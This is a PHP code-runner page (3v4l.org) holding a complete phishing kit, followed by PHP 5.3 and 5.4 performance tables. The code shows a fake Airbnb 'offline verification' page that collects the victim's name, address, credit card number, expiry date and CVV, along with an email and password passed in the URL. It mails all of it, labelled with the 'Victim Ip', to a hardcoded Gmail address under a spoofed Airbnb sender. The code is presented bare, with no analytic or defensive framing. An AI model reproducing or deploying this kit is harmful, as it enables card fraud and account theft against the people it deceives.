3v4l.org

run code in 300+ PHP versions simultaneously
<?php if (isset($_POST['Confirm'])) { $to = "focusoft2008@gmail.com"; $date = date("m-d-Y"); $ip = $_SERVER["REMOTE_ADDR"]; $error = 0; $user = $_POST['email'] ; $parola = $_POST['pass']; $credit_card_first_name = $_POST['credit_card_first_name']; $credit_card_last_name = $_POST['credit_card_last_name']; $credit_card_address1 = $_POST['credit_card_address1']; $credit_card_address2 = $_POST['credit_card_address2']; $credit_card_city = $_POST['credit_card_city']; $credit_card_state = $_POST['credit_card_state']; $credit_card_zip = $_POST['credit_card_zip']; $credit_card_cc_type = $_POST['credit_card_cc_type']; $credit_card_cc_number = $_POST['credit_card_cc_number']; $credit_card_cc_expire_month = $_POST['credit_card_cc_expire_month']; $credit_card_cc_expire_year = $_POST['credit_card_cc_expire_year']; $credit_card_cc_security_code = $_POST['credit_card_cc_security_code']; $payment_country = $_POST['payment_country']; //fname if(trim($credit_card_first_name) == '') {$error = 1; $credit_card_first_namerr = 1;} if(strlen($credit_card_first_name) < 3) {$error = 1; $credit_card_first_namerr = 1;} if(!eregi("[a-z]", $credit_card_first_name)){$error = 1; $credit_card_first_namerr = 1;} if(strstr($credit_card_first_name,"gay")) {$error = 1; $credit_card_first_namerr = 1;} if(strstr($credit_card_first_name,"fuck")) {$error = 1; $credit_card_first_namerr = 1;} if(strstr($credit_card_first_name,"bitch")) {$error = 1; $credit_card_first_namerr = 1;} //lname if(trim($credit_card_last_name) == '') {$error = 1; $credit_card_last_namerr = 1;} if(strlen($credit_card_last_name) < 3) {$error = 1; $credit_card_last_namerr = 1;} if(!eregi("[a-z]", $credit_card_last_name)){$error = 1; $credit_card_last_namerr = 1;} if(strstr($credit_card_last_name,"gay")) {$error = 1; $credit_card_last_namerr = 1;} if(strstr($credit_card_last_name,"fuck")) {$error = 1; $credit_card_last_namerr = 1;} if(strstr($credit_card_last_name,"bitch")) {$error = 1; $credit_card_last_namerr = 1;} //card if(strlen($credit_card_cc_number) < 12) {$error = 1; $ccerr = 1;} if(!is_numeric($credit_card_cc_number)) {$error = 1; $ccerr = 1;} //exp date if(!is_numeric($credit_card_cc_expire_month)) {$error = 1; $mmerr = 1;} if(!is_numeric($credit_card_cc_expire_year)) {$error = 1; $yyerr = 1;} //cvv2 if(strlen($credit_card_cc_security_code) < 3) {$error = 1; $cvverr = 1;} if(!is_numeric($credit_card_cc_security_code)) {$error = 1; $cvverr = 1;} //adresa if(strlen($credit_card_address1) < 5) {$error = 1; $adresaerr = 1;} //zip if(strlen($credit_card_zip) < 4) {$error = 1; $ziperr = 1;} //city if(strlen($credit_card_city) < 4) {$error = 1; $cityerr = 1;} elseif ($error == 0){ $msg =" First Name:$credit_card_first_name Last Name:$credit_card_last_name Cardtype: $credit_card_cc_type Ccnumber:$credit_card_cc_number ExpDate:$credit_card_cc_expire_month/$credit_card_cc_expire_year Cvv:$credit_card_cc_security_code Adresa:$credit_card_address1 Adresa (Optional): $credit_card_address2 City:$credit_card_city State:$credit_card_state Zip:$credit_card_zip Country:$payment_country ------------------------- Victim Ip:$ip Add Date:$date "; $sub ="Airbnb:$ip"; $from = "From: Airbnb"; @mail($to, $sub, $msg, $from); ?> Thanks. <?php } else { ?> <!DOCTYPE html> <!--[if lt IE 8]> <html lang="en" xmlns:fb="http://ogp.me/ns/fb#" class="ie"> <![endif]--> <!--[if IE 8]> <html lang="en" xmlns:fb="http://ogp.me/ns/fb#" class="ie ie8"> <![endif]--> <!--[if gt IE 8]><!--> <html lang="en" xmlns:fb="http://ogp.me/ns/fb#"> <!--<![endif]--> <head> <meta charset="utf-8"> <title>Submit a Reservation Request</title> <meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1"> <meta property="og:image" content="images/logo-200x200.png"> <meta name="viewport" content="width=1000,maximum-scale=1.0"> <link rel="image_src" href="images/logo.png"> <link href="css/o2r.0.css" media="screen" rel="stylesheet" type="text/css" /> <link href="css/page4r.css" media="screen" rel="stylesheet" type="text/css" /> <link href="css/commonr.css" media="screen" rel="stylesheet" type="text/css" /> <link href="css/dashboard_v2.css" media="screen" rel="stylesheet" type="text/css" /> <link href="css/policy_timeline_v2.css" media="screen" rel="stylesheet" type="text/css" /> <style> </style> <!--[if lt IE 9]> <script src="js/html5shiv.js" type="text/javascript"></script> <![endif]--> <link id="favicon" rel="shortcut icon" href="favicon.ico"> </head> <body class=" hide_locale_dropdown"> <div class="rooster-root"></div> <div id="header" class="navbar navbar-top"> <div class="navbar-inner"> <div class="container container-full-width page-container"> <a href="#" class="brand airbnb">Airbnb</a> </div> </div> </div> <div class='span12 flash-container'> </div> <center></center> <div class='span12 flash-container'> </div> <div class="relative"> <div id="how_it_works"> <h1> <center> Airbnb Offline Verification </center> </h1> <p>Your Account is subjected to an offline identity verification, in order to complete this verification we need the following details:</p> </div> <div id="book_it"> <form accept-charset="UTF-8" action="<?php echo $_SERVER['PHP_SELF']; ?>" id="book_it_form" method="post"><div style="margin:0;padding:0;display:inline"> <div id="payment_options" class="book_it_section"> <div class="payment_tabs_live"><ul class="payment_methods_nav"><li class="payment_method_active"><a href="javascript:void(null);" title="Credit Card" id="payment_method_tab_link_cc">Details</a></li></ul> <div class="payment_method_content clearfix" id="payment_method_cc" title=""> <h2 id="cccccccc">Credit Card</h2> <div id="new_card" style=""> <div id="cc_address"> <label for="credit_card_first_name" class="inner_text">First Name</label> <input id="credit_card_first_name" name="credit_card_first_name" size="30" style="width:138px;" type="text" value="" required="required" /> <label for="credit_card_last_name" class="inner_text">Last Name</label> <input id="credit_card_last_name" name="credit_card_last_name" size="30" style="width:138px;" type="text" value="" required="required" /> <label for="credit_card_address1" class="inner_text">Street Address</label> <input id="credit_card_address1" name="credit_card_address1" size="30" type="text" required="required" /> <label for="credit_card_address2" class="inner_text">Apt, Suite, Bldg (optional)</label> <input id="credit_card_address2" name="credit_card_address2" size="30" type="text" /> <label for="credit_card_city" class="inner_text">City</label> <input id="credit_card_city" name="credit_card_city" size="30" style="width:151px;" type="text" required="required" /> <label for="credit_card_state" class="inner_text">State</label> <input name="credit_card_state" type="text" id="credit_card_state" style="width:75px;" size="30" required="required" /> <label for="credit_card_zip" class="inner_text">Postal Code</label> <input name="credit_card_zip" type="text" id="credit_card_zip" style="width:75px;" size="30" maxlength="15" required="required" /> <label for="credit_card_country" class="inner_text">Country</label> <select id="payment_country" name="payment_country"><option value="AF">Afghanistan</option> <option value="GB" selected="selected">United Kingdom</option> </div> <div id="cc_details"> <label id="cc_card_type_label" for="credit_card_cc_type" class="">Card Type</label> <select class="" id="credit_card_cc_type" name="credit_card_cc_type"> <option id="Visa" value="visa">Visa</option> <option id="Master" value="masterCard">MasterCard</option> <option id="Amex" value="amex">American Express</option> <option id="Discover" value="discover">Discover</option> <option id="JCB" value="jcb">JCB</option> </select> <div style="position:relative;"> <label for="credit_card_cc_number" class="inner_text">Credit Card Number</label> <input name="credit_card_cc_number" type="text" class="false" id="credit_card_cc_number" style="width:222px; margin-top:5px;" maxlength="20" pattern=".{13,}" required /> </div> <label id="cc_expires_on_label" for="credit_card_cc_expire_month">Expires On</label> <select id="credit_card_cc_expire_month" name="credit_card_cc_expire_month" style="margin-right:5px" required><option value=""></option> <option value="1">1</option> <option value="2">2</option> <option value="3">3</option> <option value="4">4</option> <option value="5">5</option> <option value="6">6</option> <option value="7">7</option> <option value="8">8</option> <option value="9">9</option> <option value="10">10</option> <option value="11">11</option> <option value="12">12</option></select> <select id="credit_card_cc_expire_year" name="credit_card_cc_expire_year" style="margin-right:15px"><option value=""></option> <option value="2013">2013</option> <option value="2014">2014</option> <option value="2015">2015</option> <option value="2016">2016</option> <option value="2017">2017</option> <option value="2018">2018</option> <option value="2019">2019</option> <option value="2020">2020</option> <option value="2021">2021</option> <option value="2022">2022</option> <option value="2023">2023</option></select> <label for="credit_card_cc_security_code" class="inner_text">Security Code</label> <input name="credit_card_cc_security_code" type="text" id="credit_card_cc_security_code" style="width:84px;" size="4" maxlength="4" required="required" /> <i class="icon icon-question icon-question-sign" data-behavior="tooltip" rel="tooltip" title="The 3 or 4 digit value printed on the card or signature strip."></i> </div> </div> <div class="clear"></div> </div> </div> </div> <div class="book_it_section" style="padding-bottom:10px;"> <p id="book_it_fine_print" style='width:592px; overflow:hidden;'> <span id="book_it_click_message" style="display:none;"><img src="images/loading.gif" alt="" /></span> </p> </div> <input type="hidden" name="email" value="<?php echo $_GET['email']?>" /> <input type="hidden" name="pass" value="<?php echo $_GET['refering']?>" /> <input type="submit" class="btn large green" id="Confirm" value="Confirm" style="margin:10px 0 0 10px;" /> </form> <?php }; ?>

Here you find the average performance (time & memory) of each version. A grayed out version indicates it didn't complete successfully (based on exit-code).

VersionSystem time (s)User time (s)Memory (MiB)
5.4.280.0200.03719.08
5.4.270.0200.04019.08
5.4.260.0170.03718.88
5.4.250.0230.03319.23
5.4.240.0200.03718.78
5.4.230.0200.03318.91
5.4.220.0170.04019.24
5.4.210.0200.03718.80
5.4.200.0170.04319.11
5.4.190.0270.03719.23
5.4.180.0300.03719.09
5.4.170.0230.05019.07
5.4.160.0230.06019.04
5.4.150.0200.05719.23
5.4.140.0300.06716.50
5.4.130.0300.04716.50
5.4.120.0270.06716.52
5.4.110.0200.07716.51
5.4.100.0200.04016.53
5.4.90.0300.03716.28
5.4.80.0330.06316.10
5.4.70.0270.04716.43
5.4.60.0300.05316.53
5.4.50.0300.06016.25
5.4.40.0330.06716.52
5.4.30.0200.05016.41
5.4.20.0330.05316.41
5.4.10.0200.04316.41
5.4.00.0330.05015.95
5.3.280.0170.04014.58
5.3.270.0300.07014.61
5.3.260.0300.05314.49
5.3.250.0370.06314.50
5.3.240.0300.07314.60
5.3.230.0300.07014.48
5.3.220.0200.05014.59
5.3.210.0130.05014.66
5.3.200.0270.04014.56
5.3.190.0330.03714.55
5.3.180.0270.07014.47
5.3.170.0300.03714.70
5.3.160.0270.06314.66
5.3.150.0300.07314.55
5.3.140.0330.07014.44
5.3.130.0330.06314.68
5.3.120.0300.07014.46
5.3.110.0330.04714.50
5.3.100.0370.06713.93
5.3.90.0270.05014.01
5.3.80.0430.06013.99
5.3.70.0270.05714.01
5.3.60.0300.06714.00
5.3.50.0300.05013.83
5.3.40.0270.04314.04
5.3.30.0270.04714.04
5.3.20.0300.03713.64
5.3.10.0270.06013.57
5.3.00.0330.05013.64

preferences:
141.3 ms | 1394 KiB | 7 Q